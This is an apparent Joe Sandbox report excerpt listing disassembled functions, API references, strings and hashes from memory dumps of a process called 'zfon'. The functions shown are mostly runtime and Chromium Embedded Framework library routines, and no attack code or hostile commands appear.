String ID: ://
API String ID: 1954376288-1869659232
Opcode ID: 3c99838cff2f80900afbfc6a0716ade2ae5093bdf5dba71e4019bd00798dd8e4
Instruction ID: cfa00dd89f360a685a50651d65feafbf3cb366b22cad0ee2c2766d38ea5475ab
Opcode Fuzzy Hash: 3c99838cff2f80900afbfc6a0716ade2ae5093bdf5dba71e4019bd00798dd8e4
Instruction Fuzzy Hash: 63C18432A09B8295EB58EF25EC483A9A371FB44798F804435D66D07ADDEF3CD545C3A0

Function 00007FF7F96F21D0 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 279COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96F2307
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F23B5
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F2450
memcpy.VCRUNTIME140 ref: 00007FF7F96F246B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F248B
memmove.VCRUNTIME140 ref: 00007FF7F96F24C1
memcpy.VCRUNTIME140 ref: 00007FF7F96F24D7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F2511
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2535
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2545
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2555
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2562

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

Part of subcall function 00007FF7F96FBE10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96FBEC3

Strings

clear, xrefs: 00007FF7F96F232B
writeUrl, xrefs: 00007FF7F96F226D
writeCertHolder, xrefs: 00007FF7F96F231A

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$free$cef_string_map_allocmemcpy$mallocmemmove
String ID: clear$writeCertHolder$writeUrl
API String ID: 614388589-602964746
Opcode ID: 83fc9b4681ec39642372cc4b7684638f3dd717f5f945e170e6391de16c446b5e
Instruction ID: 750c8072e602bc2877c0458dd1ccf096400b2868a100182a37929547178ce345
Opcode Fuzzy Hash: 83fc9b4681ec39642372cc4b7684638f3dd717f5f945e170e6391de16c446b5e
Instruction Fuzzy Hash: F1C1BF62B09A4585EF00EF65D8503ADA372EB85BDCF848531DE2E077EDEE28D445C3A0

Function 00007FF8B910FBE0 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FC2E
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FC82
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FCD2
_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B910FD76
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FD93
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FDC9
_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B910FDF4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE11
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE3A
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE72

Part of subcall function 00007FF8B90EB690: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6B2
Part of subcall function 00007FF8B90EB690: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6D8
Part of subcall function 00007FF8B90EB690: memcpy.VCRUNTIME140(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6F0

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B910FD24

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B910FEAE

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF8B910FD9E
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00007FF8B910FE1C
:AM:am:PM:pm, xrefs: 00007FF8B910FE68

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: calloc$free$Concurrency::cancel_current_task$ExceptionGetdaysGetmonthsThrow___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_func_lock_localesmallocmemcpystd::bad_alloc::bad_alloc
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1555941588-35662545
Opcode ID: 4984866773faa2ba8b097bb784f106a27c12d0944b280fa2bc18804908d0bf42
Instruction ID: 39552476d9cb8c348b73a9638b3301c3ef7f7767f5ee0e452d468dff41b193f6
Opcode Fuzzy Hash: 4984866773faa2ba8b097bb784f106a27c12d0944b280fa2bc18804908d0bf42
Instruction Fuzzy Hash: 0EB1E222B09BC695EB118F29A905AB97BA1FB09BE0F284270DF5D077A5DF3DE445D300

Function 00007FF7F96E85C0 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

cef_string_map_alloc.LIBCEF ref: 00007FF7F96E8625
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E866A
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E86D5
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E875D
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E878F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E87D9
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E8827

Strings

disable-surfaces, xrefs: 00007FF7F96E87A7
disable-gpu, xrefs: 00007FF7F96E85EC
disable-pdf-extension, xrefs: 00007FF7F96E8712
disable-gpu-compositing, xrefs: 00007FF7F96E8638
disable-extensions, xrefs: 00007FF7F96E86E8
enable-system-flash, xrefs: 00007FF7F96E87F5
enable-smooth-scrolling, xrefs: 00007FF7F96E868A
disable-gpu-vsync, xrefs: 00007FF7F96E86A7

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$_invalid_parameter_noinfo_noreturn
String ID: disable-extensions$disable-gpu$disable-gpu-compositing$disable-gpu-vsync$disable-pdf-extension$disable-surfaces$enable-smooth-scrolling$enable-system-flash
API String ID: 1576575606-2877818427
Opcode ID: 24952cdb2a72154fed4a212a990a3a1018c8566a43075a85daee53fbdbeba300
Instruction ID: 70de231240de9409ff842a8410d0db6e9403d2f51d46514b092283ddf293feb5
Opcode Fuzzy Hash: 24952cdb2a72154fed4a212a990a3a1018c8566a43075a85daee53fbdbeba300
Instruction Fuzzy Hash: 8C912822B09A1689FF04FF74DC902AC6771AB85B88F844135DA1E236EDCF39D445C3A5

Function 00007FF7F970E960 Relevance: 24.3, APIs: 16, Instructions: 262COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F970E97B
new.LIBCMT ref: 00007FF7F970E9B9

Part of subcall function 00007FF7F97A3D44: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F97A3D70

cef_string_map_alloc.LIBCEF ref: 00007FF7F970E9DB
new.LIBCMT ref: 00007FF7F970E9EA
cef_string_map_alloc.LIBCEF ref: 00007FF7F970EA0C
new.LIBCMT ref: 00007FF7F970EA35
cef_string_map_alloc.LIBCEF ref: 00007FF7F970EA60
new.LIBCMT ref: 00007FF7F970EA8C
cef_string_map_alloc.LIBCEF ref: 00007FF7F970EAB9
new.LIBCMT ref: 00007FF7F970EAC4
cef_string_map_alloc.LIBCEF ref: 00007FF7F970EBC2
cef_string_map_alloc.LIBCEF ref: 00007FF7F970EC26
cef_string_map_alloc.LIBCEF ref: 00007FF7F970EC4B
cef_string_map_alloc.LIBCEF ref: 00007FF7F970EC8B
cef_string_map_alloc.LIBCEF ref: 00007FF7F970ECAF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F970ECDD

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1462992686-0
Opcode ID: da85e19d1928f2fc23d8437a8b2b23bbeb13877c9a32a0fb184de9c485545f0d
Instruction ID: 736b6be1bf5834385223905e11bf631e47d71a92c3f0c302accfdfb7f8045fcb
Opcode Fuzzy Hash: da85e19d1928f2fc23d8437a8b2b23bbeb13877c9a32a0fb184de9c485545f0d
Instruction Fuzzy Hash: A6B16022609B8185EB96AF15AC4476AB7B1FF49BC0F988034DA5D077E8EF3CD444C3A0

Function 00007FF8BFB5DC34 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF8BFB59100), ref: 00007FF8BFB5E09A
DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5E0D9
swprintf_s.PGOCR ref: 00007FF8BFB5E0F9
DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5E109
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5E159

Strings

`generic-class-parameter-, xrefs: 00007FF8BFB5E16A
nullptr, xrefs: 00007FF8BFB5DE1D
`generic-method-parameter-, xrefs: 00007FF8BFB5E126
`template-type-parameter-, xrefs: 00007FF8BFB5E17A
lambda, xrefs: 00007FF8BFB5DFF8
NULL, xrefs: 00007FF8BFB5DD01

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: NameName::$Name::operator+atolswprintf_s
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 2331677841-2441609178
Opcode ID: 67fbf97d81b02749f9509a8c4f2694abdb9786e9786639b69dd16a9e3b2c746f
Instruction ID: 668441892d68486457135b21961486f1ddca798585c993f4d5e6020fa78d4107
Opcode Fuzzy Hash: 67fbf97d81b02749f9509a8c4f2694abdb9786e9786639b69dd16a9e3b2c746f
Instruction Fuzzy Hash: 87F16C22E0C61295FB25ABECD9B51BC27A1BF197C4F580236DB0E26AA5DE3CF545C340

Function 00007FF7F96F8320 Relevance: 22.7, APIs: 14, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F83CD
memcpy.VCRUNTIME140 ref: 00007FF7F96F83EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F8403
memmove.VCRUNTIME140 ref: 00007FF7F96F8433
memcpy.VCRUNTIME140 ref: 00007FF7F96F8449
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F8497
memcpy.VCRUNTIME140 ref: 00007FF7F96F84B4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F84CD
memmove.VCRUNTIME140 ref: 00007FF7F96F84FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F85FC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F860C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F861C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F862E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F8640

Strings

eu-cookie-compliance-agreed, xrefs: 00007FF7F96F8474

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: free$memcpy$mallocmemmove
String ID: eu-cookie-compliance-agreed
API String ID: 3488293272-1104903451
Opcode ID: bebb11dbb65a13a40cc3fc36cdb00a75aa414d922c668014217f24f1d0b0e14c
Instruction ID: 9441633952bfd95cccc8a276321559c3bf72f5f1c218558174fbdef19286ce41
Opcode Fuzzy Hash: bebb11dbb65a13a40cc3fc36cdb00a75aa414d922c668014217f24f1d0b0e14c
Instruction Fuzzy Hash: 6A918E22A19B8185E714EF65E8403ADA7B1FB89798F500135EEAE47B9DDF3CD040C7A0

Function 00007FF8B90E5D70 Relevance: 22.7, APIs: 15, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E670C: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E6732
Part of subcall function 00007FF8B90E670C: isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E679C

_Stoflt.LIBCPMT ref: 00007FF8B90E5DF4
_FXp_setw.LIBCPMT ref: 00007FF8B90E5E0E
_FXp_setw.LIBCPMT ref: 00007FF8B90E5E21
_FXp_setn.LIBCPMT ref: 00007FF8B90E5E65
_FXp_setn.LIBCPMT ref: 00007FF8B90E5EEC
_FXp_mulx.LIBCPMT ref: 00007FF8B90E5F12
_FXp_setn.LIBCPMT ref: 00007FF8B90E5F25
_FXp_addx.LIBCPMT ref: 00007FF8B90E5E77

Part of subcall function 00007FF8B90E3970: _FXp_addh.LIBCPMT ref: 00007FF8B90E39B1

_FXp_mulx.LIBCPMT ref: 00007FF8B90E5E52

Part of subcall function 00007FF8B90E3CD0: _FXp_mulh.LIBCPMT ref: 00007FF8B90E3D2C

_Stoxflt.LIBCPMT ref: 00007FF8B90E5EB3
_FXp_setw.LIBCPMT ref: 00007FF8B90E5ECE
_FXp_setw.LIBCPMT ref: 00007FF8B90E5EE1
_FXp_setn.LIBCPMT ref: 00007FF8B90E5E2C

Part of subcall function 00007FF8B90E3DD4: _FXp_setw.LIBCPMT ref: 00007FF8B90E3E0D
Part of subcall function 00007FF8B90E3DD4: _FXp_mulh.LIBCPMT ref: 00007FF8B90E3E1F
Part of subcall function 00007FF8B90E3DD4: _FXp_addh.LIBCPMT ref: 00007FF8B90E3E38

_FXp_addx.LIBCPMT ref: 00007FF8B90E5F37
_FDscale.LIBCPMT ref: 00007FF8B90E5F5B

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_setw$Xp_setn$Xp_addhXp_addxXp_mulhXp_mulx$DscaleStofltStoxfltisspaceisxdigit
String ID:
API String ID: 1532609390-0
Opcode ID: 04dc50dfbf98f029935054b8049ea78db01762cf3d60922a2d415e396d3f7e9b
Instruction ID: 3ed6a87b60d397f4e214b71bc3e074c63d664ac97631c5b88bd8d2d044f1fd43
Opcode Fuzzy Hash: 04dc50dfbf98f029935054b8049ea78db01762cf3d60922a2d415e396d3f7e9b
Instruction Fuzzy Hash: 5D617222F0C9829AEF11DEAED4416FD2721AB54788F504636EF1D67B99DE38E50B8700

Function 00007FF8B90E75D0 Relevance: 22.7, APIs: 15, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E7FF8: iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E8025
Part of subcall function 00007FF8B90E7FF8: iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E80A5

_WStoflt.LIBCPMT ref: 00007FF8B90E765B
_Xp_setw.LIBCPMT ref: 00007FF8B90E7676
_Xp_setw.LIBCPMT ref: 00007FF8B90E768A
_Xp_setn.LIBCPMT ref: 00007FF8B90E76D1
_Xp_setn.LIBCPMT ref: 00007FF8B90E7762
_Xp_mulx.LIBCPMT ref: 00007FF8B90E7789
_Xp_setn.LIBCPMT ref: 00007FF8B90E779D
_Xp_addx.LIBCPMT ref: 00007FF8B90E76E4

Part of subcall function 00007FF8B90E54BC: _Xp_addh.LIBCPMT ref: 00007FF8B90E54FE

_Xp_mulx.LIBCPMT ref: 00007FF8B90E76BE

Part of subcall function 00007FF8B90E5718: _Xp_mulh.LIBCPMT ref: 00007FF8B90E5776

_WStoxflt.LIBCPMT ref: 00007FF8B90E7727
_Xp_setw.LIBCPMT ref: 00007FF8B90E7742
_Xp_setw.LIBCPMT ref: 00007FF8B90E7756
_Xp_setn.LIBCPMT ref: 00007FF8B90E7696

Part of subcall function 00007FF8B90E5820: _Xp_setw.LIBCPMT ref: 00007FF8B90E5832

_Xp_addx.LIBCPMT ref: 00007FF8B90E77B1
_Dscale.LIBCPMT ref: 00007FF8B90E77D9

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_setw$Xp_setn$Xp_addxXp_mulxiswctype$DscaleStofltStoxfltXp_addhXp_mulh
String ID:
API String ID: 3318484812-0
Opcode ID: a768420c2b5fff2fb4244aeac776d75f58bcfee5bf1117b7cc1e02417c62bbbc
Instruction ID: 3d92fecd46edf2c88b524f2c748682be350678569337f194c04c175535e4ca4a
Opcode Fuzzy Hash: a768420c2b5fff2fb4244aeac776d75f58bcfee5bf1117b7cc1e02417c62bbbc
Instruction Fuzzy Hash: 9C61B122F1CE8682EE11DE6DE4805AE6760FB94784F500532EF5E536A9DE3CE94AC700

Function 00007FF8B90E7850 Relevance: 22.7, APIs: 15, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E7FF8: iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E8025
Part of subcall function 00007FF8B90E7FF8: iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E80A5

_WStoflt.LIBCPMT ref: 00007FF8B90E78D4
_FXp_setw.LIBCPMT ref: 00007FF8B90E78EE
_FXp_setw.LIBCPMT ref: 00007FF8B90E7901
_FXp_setn.LIBCPMT ref: 00007FF8B90E7945
_FXp_setn.LIBCPMT ref: 00007FF8B90E79CC
_FXp_mulx.LIBCPMT ref: 00007FF8B90E79F2
_FXp_setn.LIBCPMT ref: 00007FF8B90E7A05
_FXp_addx.LIBCPMT ref: 00007FF8B90E7957

Part of subcall function 00007FF8B90E3970: _FXp_addh.LIBCPMT ref: 00007FF8B90E39B1

_FXp_mulx.LIBCPMT ref: 00007FF8B90E7932

Part of subcall function 00007FF8B90E3CD0: _FXp_mulh.LIBCPMT ref: 00007FF8B90E3D2C

_WStoxflt.LIBCPMT ref: 00007FF8B90E7993
_FXp_setw.LIBCPMT ref: 00007FF8B90E79AE
_FXp_setw.LIBCPMT ref: 00007FF8B90E79C1
_FXp_setn.LIBCPMT ref: 00007FF8B90E790C

Part of subcall function 00007FF8B90E3DD4: _FXp_setw.LIBCPMT ref: 00007FF8B90E3E0D
Part of subcall function 00007FF8B90E3DD4: _FXp_mulh.LIBCPMT ref: 00007FF8B90E3E1F
Part of subcall function 00007FF8B90E3DD4: _FXp_addh.LIBCPMT ref: 00007FF8B90E3E38

_FXp_addx.LIBCPMT ref: 00007FF8B90E7A17
_FDscale.LIBCPMT ref: 00007FF8B90E7A3B

Memory Dump Source

